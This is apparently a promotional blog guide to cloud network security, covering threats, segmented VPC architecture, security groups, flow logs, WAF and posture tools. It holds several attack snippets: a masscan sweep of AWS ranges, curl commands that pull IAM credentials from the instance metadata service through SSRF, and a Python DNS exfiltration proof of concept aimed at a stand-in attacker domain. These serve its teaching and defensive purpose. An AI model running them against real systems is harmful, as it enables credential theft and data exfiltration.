Cloud infrastructure has fundamentally changed how organisations build and secure their networks. Perimeter-based thinking, where you trust everything inside the firewall and block everything outside, simply does not translate to environments where workloads span AWS, Azure, GCP, and a dozen SaaS platforms simultaneously. Cloud network security requires a different mental model, different tooling, and a much deeper understanding of how traffic flows across shared, virtualised infrastructure.
This guide breaks down the core threats, how well-architected cloud networks are structured, and the specific controls and tools practitioners use to defend them.
Cloud network security refers to the policies, controls, technologies, and practices used to protect data, applications, and infrastructure within cloud environments from network-layer attacks, unauthorised access, and data exfiltration.
Unlike on-premises networking, cloud networks are software-defined. Virtual Private Clouds (VPCs), subnets, route tables, and security groups are all configured via APIs. That flexibility is powerful, but it also means a single misconfiguration can expose an entire environment to the public internet.
Understanding cloud network security properly means understanding both the shared responsibility model and the specific networking primitives of the cloud platform you are working in. The provider secures the underlying physical infrastructure; you are responsible for how you configure everything on top of it.
The most common cloud network vulnerability is not a sophisticated exploit; it is a security group rule that allows 0.0.0.0/0 inbound on port 22 or 3389. Attackers routinely scan cloud IP ranges using tools like Shodan, Censys, and Masscan to find exposed administrative services.
# Masscan scanning AWS IP ranges for exposed SSH
masscan -p22,3389,5900 18.0.0.0/8 --rate=10000 -oJ results.json
[cta]
A single exposed RDS instance, S3 bucket with public ACLs, or Elasticsearch node with no authentication has led to some of the largest data breaches of the past decade.
SSRF in cloud environments is particularly dangerous because the instance metadata service (IMDS) is reachable from within the instance. An attacker who can forge a server-side request can retrieve IAM credentials tied to the instance role.
# Classic IMDS v1 credential theft via SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response lists the role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Admin-Role
[cta]
AWS introduced IMDSv2 to require a session-oriented token, but many workloads still run with IMDSv1 enabled. Enforcing IMDSv2 at the instance level, and blocking IMDS access from containers that do not need it, is a priority control.
Once an attacker has a foothold in one VPC, misconfigured peering connections and overly broad route tables can allow lateral movement across multiple environments. If VPC A is peered with VPC B and VPC C, and the route tables allow all traffic between them, compromise of a single low-value workload can cascade.
Data exfiltration over DNS is difficult to detect in cloud environments because DNS queries are often not logged by default. Attackers encode data in subdomain labels and send queries to an attacker-controlled authoritative DNS server.
# Simple DNS exfiltration proof of concept (Python)
import dns.resolver
import base64
data = b"sensitive-config-data"
encoded = base64.b32encode(data).decode().lower().rstrip("=")
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
for chunk in chunks:
query = f"{chunk}.exfil.attacker-controlled.com"
try:
dns.resolver.resolve(query, "A")
except Exception:
pass # Expected; query is sent regardless of resolution
[cta]
Enabling AWS Route 53 Resolver Query Logs or Azure DNS Analytics is a straightforward mitigation that gives you visibility into this channel.
Cloud workloads face volumetric DDoS attacks targeting internet-facing endpoints. While providers offer baseline protection, application-layer (L7) attacks targeting specific API endpoints require tuned WAF rules and rate limiting to handle effectively.
If you want to explore cloud security architecture in depth through structured, hands-on training, the courses at Redfox Cybersecurity Academy cover VPC design, IAM abuse, and cloud-native attack paths used by real threat actors.
A well-architected cloud network separates workloads into isolated VPCs and uses a centralised hub for shared services: egress inspection, DNS resolution, logging, and VPN connectivity. Spokes connect to the hub via Transit Gateway (AWS) or Virtual Network Peering through a hub VNet (Azure).
Internet
|
[AWS WAF / Shield]
|
[Public Subnet - Load Balancer]
|
[Private Subnet - Application Tier] <-- No direct internet route
|
[Private Subnet - Data Tier] <-- No route to application tier except required ports
|
[VPC Endpoint - S3 / DynamoDB] <-- Traffic stays within AWS backbone
[cta]
This architecture ensures that even if the application tier is compromised, the attacker cannot reach the data tier without traversing an additional security control.
Zero Trust replaces the implicit trust of VPN-based models with continuous verification. In a cloud context, this means:
Tools like HashiCorp Consul, Istio, and AWS Verified Access implement these principles at the infrastructure level.
Every environment should define at minimum three subnet tiers:
Network ACLs provide stateless filtering at the subnet boundary, while security groups provide stateful filtering at the instance level. Using both gives you defence in depth at the network layer.
Security groups should follow the principle of least privilege. Do not create catch-all rules. Reference other security groups as sources rather than CIDR blocks wherever possible; this avoids hard-coding IP ranges that change as infrastructure scales.
# Terraform: application tier security group referencing DB security group
resource "aws_security_group_rule" "app_to_db" {
type = "ingress"
from_port = 5432
to_port = 5432
protocol = "tcp"
source_security_group_id = aws_security_group.app_tier.id
security_group_id = aws_security_group.db_tier.id
description = "Allow app tier to reach PostgreSQL"
}
[cta]
Practitioners who want to go beyond Terraform basics and understand how attackers abuse IAM and security group misconfigurations in real environments should look at the cloud penetration testing modules available at Redfox Cybersecurity Academy.
VPC Flow Logs capture metadata about accepted and rejected traffic at the ENI level. They are essential for incident response and anomaly detection, but raw flow logs require processing to be useful.
# Query VPC Flow Logs in S3 using Amazon Athena (after table creation)
SELECT
sourceaddress,
destinationaddress,
destinationport,
action,
COUNT(*) AS connection_count
FROM vpc_flow_logs
WHERE action = 'REJECT'
AND start >= to_unixtime(current_timestamp - interval '1' hour)
GROUP BY 1,2,3,4
ORDER BY connection_count DESC
LIMIT 50;
[cta]
This query surfaces the most frequently rejected connections in the last hour, which is a fast way to identify scanning activity, misconfigured services, or active exploitation attempts.
Cloud-native stateful firewalls allow you to enforce domain-based egress filtering (blocking outbound traffic to unknown domains), IDS/IPS signatures, and protocol-level controls centrally rather than per-workload.
# AWS Network Firewall: Suricata-compatible rule to block known C2 domains
alert dns $HOME_NET any -> any 53 (
msg:"Possible C2 DNS resolution";
dns.query;
content:"evildomain.io";
nocase;
sid:9000001;
rev:1;
)
[cta]
For egress traffic, a managed egress firewall with domain allowlisting is significantly more effective than IP-based blocking. Attackers rotate IP infrastructure constantly; controlling by domain puts the burden back on them.
A WAF deployed in front of internet-facing APIs should be configured with:
# AWS CLI: Create a rate-based WAF rule (100 requests per 5 minutes per IP)
aws wafv2 create-rule-group \
--name "RateLimitRuleGroup" \
--scope REGIONAL \
--capacity 10 \
--rules '[{
"Name": "IPRateLimit",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"RateBasedStatement": {
"Limit": 100,
"AggregateKeyType": "IP"
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "IPRateLimit"
}
}]' \
--visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=RateLimitRuleGroup
[cta]
Any service-to-service communication that does not need to leave the cloud provider's backbone should stay on it. AWS PrivateLink and VPC Endpoints for services like S3, Secrets Manager, and SSM keep traffic off the internet and reduce the attack surface significantly.
A VPC endpoint policy lets you restrict which specific S3 buckets are accessible through the endpoint, preventing data exfiltration to attacker-controlled buckets even if credentials are compromised.
{
"Version": "2012-10-17",
"Statement": [{
"Principal": "*",
"Action": ["s3:GetObject", "s3:PutObject"],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::your-org-prod-bucket",
"arn:aws:s3:::your-org-prod-bucket/*"
]
}]
}
[cta]
Defending cloud networks effectively requires understanding how they are attacked. Practitioners doing cloud security assessments use tools like:
Pacu for AWS exploitation and lateral movement simulation:
# Pacu: Enumerate VPC security group rules
Pacu> run vpc__enum_internet_exposed
[cta]
ScoutSuite for multi-cloud security posture auditing:
python3 scout.py aws --profile default --report-dir ./scout-report
[cta]
CloudMapper for visualising network exposure in AWS environments:
python3 cloudmapper.py collect --account my-aws-account
python3 cloudmapper.py report --account my-aws-account
[cta]
Understanding these tools from an attacker's perspective helps defenders prioritise which misconfigurations to fix first, because real attackers follow the same paths of least resistance. The cloud attack simulation and red team labs at Redfox Cybersecurity Academy walk through these techniques hands-on in a legal, isolated environment.
Cloud Security Posture Management tools (Wiz, Orca, Prisma Cloud, or open-source alternatives like Prowler) continuously scan your cloud environment for misconfigurations and policy violations.
# Prowler: Run CIS AWS Foundations Benchmark checks
prowler aws --compliance cis_level2_aws_foundations_benchmark_3.0 \
--output-formats json html \
--output-directory ./prowler-results
[cta]
Integrate Prowler findings into your SIEM to alert on critical findings in real time rather than reviewing reports after the fact.
AWS GuardDuty and Microsoft Defender for Cloud use ML-based anomaly detection to identify threats like:
These are not replacements for flow logs and proper network architecture, but they add a detection layer that catches threats that static rules miss.
Cloud network security is not a product you buy; it is an architecture you build and continuously validate. The organisations that handle cloud breaches best are the ones that have done the work upfront: proper VPC segmentation, security groups with least-privilege rules, egress filtering, IMDSv2 enforcement, VPC flow log analysis, and continuous posture monitoring baked into their deployment pipelines.
The threat landscape in cloud environments evolves quickly. SSRF vulnerabilities continue to expose instance credentials. Misconfigured peering connections let attackers pivot silently. DNS exfiltration bypasses controls that only look at TCP/UDP. Building a security programme that keeps pace with these threats requires both solid architectural foundations and practitioners who understand how the attacks actually work.
If you want to build that depth of knowledge, the structured, practitioner-focused training at Redfox Cybersecurity Academy covers cloud penetration testing, AWS and Azure security architecture, and real-world attack simulation in dedicated lab environments. The investment in hands-on skills is what separates teams that detect cloud attacks from teams that find out about them from a third party.